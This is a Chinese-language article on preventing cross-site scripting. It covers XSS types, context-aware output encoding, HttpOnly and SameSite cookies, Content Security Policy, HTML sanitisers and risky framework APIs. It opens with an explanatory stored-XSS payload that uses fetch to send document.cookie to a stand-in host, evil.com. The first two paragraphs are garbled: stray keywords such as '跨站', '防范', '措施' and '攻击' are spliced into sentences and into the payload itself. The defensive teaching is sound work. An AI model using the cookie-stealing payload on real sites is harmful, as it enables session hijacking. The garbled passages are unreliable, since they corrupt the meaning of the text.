跨站脚本攻击防范措施

一个评论区输入框，跨站用户提交了这样一段内容：<script>fetch('https://evil.com/steal?脚本c='+document.cookie)</script>。页面没做任何处理，攻击直接把它存进了数据库。防范下一个访问这条评论的措施人，浏览器会静默执行这段脚本，跨站把当前站点的脚本 Cookie 发到攻击者服务器。整个过程用户毫无感知——页面正常渲染，攻击评论正常显示，防范只是措施他的登录凭证已经易主。

这就是跨站 XSS（跨站脚本攻击）最典型的场景。它的脚本本质不是"弹个 alert 框"那么温和，而是攻击攻击者借助你的页面，在别人的防范浏览器里执行任意 JavaScript。能读 Cookie、措施能改 DOM、能伪造请求、能劫持键盘输入。同源策略本来把不同站点隔开，XSS 等于在自家院子里给攻击者开了一扇门。

XSS 大致分三类，但实际遇到的多是存储型。反射型需要诱导受害者点击特制链接，参数回显到页面里触发；DOM 型则完全在客户端 JS 里发生，服务端甚至看不到 payload。存储型最危险，payload 落在数据库里，每个访问者都是受害者。我见过一个老论坛，用户昵称没过滤，有人把昵称改成一段脚本，结果整个版块的帖子列表页全部中招，持续了将近两天才有人发现。

防范的核心思路只有一条：永远不要信任用户输入，永远不要把它当代码执行。落到具体操作上，输出编码是第一道也是最有效的一道防线。用户提交的内容渲染到 HTML 里时，把 < > & " ' 这些字符转义成实体。不同上下文编码规则不一样——HTML 正文、HTML 属性、JavaScript 字符串、CSS、URL，各有各的转义要求。在属性里写 onclick="doSomething('用户输入')"，光转义尖括号根本不够，单引号就能逃逸出去。这种上下文混淆是很多漏洞的根源。

光靠编码还不够。Cookie 加上 HttpOnly 标记，JS 就读不到，即使 XSS 成功也偷不走会话。加上 Secure 和 SameSite=Lax，能挡掉相当一部分利用链。内容安全策略（CSP）是更硬的一层：通过响应头告诉浏览器只允许加载哪些来源的脚本，内联脚本一律拒绝。script-src 'self' 这一条就能干掉大量注入。CSP 配置起来烦，调试也麻烦，但它是目前对抗 XSS 最有力的纵深防御手段。我自己的项目里，CSP 报告模式跑了一周才把误报清干净，值。

输入验证有用，但别指望它。白名单过滤能挡掉一些明显恶意的东西，可 XSS 的 payload 变形太多了，编码、大小写、HTML 实体、SVG 标签、事件属性……黑名单永远列不全。正确的做法是输入时做合理校验（长度、格式、类型），输出时做严格编码。两者分工不同，不能互相替代。

富文本编辑器是个老大难。用户要加粗、要链接、要插图，就不能把 HTML 全转义掉。这时候得用专门的 HTML 净化库，比如 DOMPurify，按白名单保留安全标签和属性，其余全部剥掉。自己手写正则去过滤 <script>，迟早会漏。

还有一个容易忽略的点：前端框架默认帮你转义，但 dangerouslySetInnerHTML（React）、v-html（Vue）这类 API 一用，保护就没了。很多漏洞不是框架的问题，是开发者图省事绕过了框架的安全机制。用这些 API 之前，先问自己一句：这段内容真的需要渲染成 HTML 吗？

最后提一个观察。大部分 XSS 漏洞的修复成本极低——加一行转义、改一个响应头、换个安全的 API。真正花时间的是发现它。上线前跑一遍自动化扫描，配合手动测几个输入点，能拦下绝大多数低级问题。安全不是一次性的活儿，但 XSS 这块，做好基础防护就能挡住九成以上的攻击。